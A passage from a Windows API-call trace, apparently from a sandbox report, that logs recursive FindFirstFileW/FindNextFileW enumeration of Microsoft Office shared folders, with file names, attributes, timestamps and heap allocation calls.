nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0169.521] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.521] GetProcessHeap () returned 0x6a0000 [0169.522] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.522] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0169.522] GetProcessHeap () returned 0x6a0000 [0169.522] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0169.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0169.528] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.528] GetProcessHeap () returned 0x6a0000 [0169.528] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0169.529] GetProcessHeap () returned 0x6a0000 [0169.529] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0169.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.860] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.860] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0169.860] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0169.860] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0169.860] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0169.860] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0169.860] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.861] GetProcessHeap () returned 0x6a0000 [0169.861] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.861] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0169.861] GetProcessHeap () returned 0x6a0000 [0169.861] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0169.861] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.861] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.863] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0169.863] GetProcessHeap () returned 0x6a0000 [0169.863] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0169.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.863] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0169.864] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.864] GetProcessHeap () returned 0x6a0000 [0169.864] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0169.865] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0169.865] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0169.865] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0169.865] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, 